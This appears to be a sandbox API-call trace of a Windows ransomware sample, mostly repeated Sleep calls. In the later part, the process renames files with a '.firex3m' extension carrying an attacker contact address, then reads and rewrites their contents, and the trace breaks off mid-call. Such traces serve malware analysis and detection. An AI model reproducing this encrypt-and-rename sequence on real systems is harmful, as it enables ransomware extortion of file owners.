[0067.791] Sleep (dwMilliseconds=0x1) [0067.930] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.537] Sleep (dwMilliseconds=0x1) [0070.873] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.425] Sleep (dwMilliseconds=0x1) [0072.610] Sleep (dwMilliseconds=0x1) [0072.796] Sleep (dwMilliseconds=0x1) [0072.910] Sleep (dwMilliseconds=0x1) [0073.099] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.059] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.381] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.160] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.510] Sleep (dwMilliseconds=0x1) [0075.571] Sleep (dwMilliseconds=0x1) [0075.608] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.870] Sleep (dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.070] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.287] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.738] Sleep (dwMilliseconds=0x1) [0077.780] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.964] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.001] Sleep (dwMilliseconds=0x1) [0078.086] Sleep (dwMilliseconds=0x1) [0078.117] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.271] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.513] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.607] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.887] Sleep (dwMilliseconds=0x1) [0078.894] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.347] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.377] Sleep (dwMilliseconds=0x1) [0079.399] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.547] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.986] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.503] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.804] Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.888] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.988] Sleep (dwMilliseconds=0x1) [0081.006] Sleep (dwMilliseconds=0x1) [0081.016] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.047] Sleep (dwMilliseconds=0x1) [0081.288] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.558] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.691] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.892] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.966] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.134] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.160] Sleep (dwMilliseconds=0x1) [0082.192] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.681] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.240] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.335] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.959] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.179] Sleep (dwMilliseconds=0x1) [0085.345] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.466] Sleep (dwMilliseconds=0x1) [0089.110] Sleep (dwMilliseconds=0x1) [0090.320] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", len=0x2c | out: pbstr=0x483ff7c*="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 1 [0090.320] GetProcessHeap () returned 0x630000 [0090.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b11f0, Size=0xc) returned 0x6b1418 [0090.320] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0090.320] CloseHandle (hObject=0x6b8) returned 1 [0090.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.321] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0090.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.321] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5540 [0090.321] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0090.321] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0090.321] GetProcessHeap () returned 0x630000 [0090.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70356c8 [0090.322] GetProcessHeap () returned 0x630000 [0090.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7040af8 [0090.323] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.323] ReadFile (in: hFile=0x6b8, lpBuffer=0x70356c8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70356c8*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0097.582] GetProcessHeap () returned 0x630000 [0097.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0097.583] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.583] WriteFile (in: hFile=0x6b8, lpBuffer=0x7040af8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7040af8*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0097.583] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.583] WriteFile (in: hFile=0x6b8, lpBuffer=0x704bef7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704bef7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0097.583] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.583] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0097.584] CloseHandle (hObject=0x6b8) returned 1 [0097.586] GetProcessHeap () returned 0x630000 [0097.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7040af8 | out: hHeap=0x630000) returned 1 [0097.586] GetProcessHeap () returned 0x630000 [0097.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70356c8 | out: hHeap=0x630000) returned 1 [0097.587] GetProcessHeap () returned 0x630000 [0097.587] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0097.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0097.587] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x1c7de1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x135e4, dwReserved0=0xbac7496, dwReserved1=0x70356c0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f80 [0097.587] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0097.588] Sleep (dwMilliseconds=0x1) [0099.199] Sleep (dwMilliseconds=0x1) [0100.557] Sleep (dwMilliseconds=0x1) [0101.399] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Boot\\Fonts\\meiryo_boot.ttf", len=0x1d | out: pbstr=0x483ff7c*="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 1 [0101.399] GetProcessHeap () returned 0x630000 [0101.399] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x24) returned 0x699888 [0101.399] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] Sleep (dwMilliseconds=0x1) [0102.353] Sleep (dwMilliseconds=0x1) [0102.377] Sleep (dwMilliseconds=0x1) [0102.379] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.459] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.489] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.584] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.754] Sleep (dwMilliseconds=0x1) [0102.770] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.020] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.098] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.150] Sleep (dwMilliseconds=0x1) [0103.166] Sleep (dwMilliseconds=0x1) [0103.183] Sleep (dwMilliseconds=0x1) [0103.192] Sleep (dwMilliseconds=0x1) [0103.209] Sleep (dwMilliseconds=0x1) [0103.224] Sleep (dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.303] Sleep (dwMilliseconds=0x1) [0103.321] Sleep (dwMilliseconds=0x1) [0103.366] Sleep (dwMilliseconds=0x1) [0103.402] Sleep (dwMilliseconds=0x1) [0103.434] Sleep (dwMilliseconds=0x1) [0103.448] Sleep (dwMilliseconds=0x1) [0103.467] Sleep (dwMilliseconds=0x1) [0103.496] Sleep (dwMilliseconds=0x1) [0103.512] Sleep (dwMilliseconds=0x1) [0103.527] Sleep (dwMilliseconds=0x1) [0103.543] Sleep (dwMilliseconds=0x1) [0103.558] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", len=0x32 | out: pbstr=0x483ff7c*="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 1 [0103.558] GetProcessHeap () returned 0x630000 [0103.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x1c) returned 0x6e9080 [0103.558] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0103.593] CloseHandle (hObject=0x66c) returned 1 [0103.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.594] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.621] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI4335~1.FIR")) returned 0x6d5400 [0103.621] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0103.621] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0103.621] GetProcessHeap () returned 0x630000 [0103.621] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fd68a8 [0103.621] GetProcessHeap () returned 0x630000 [0103.622] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fe1cd8 [0103.622] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.622] ReadFile (in: hFile=0x66c, lpBuffer=0x6fd68a8, nNumberOfBytesToRead=0xb400, 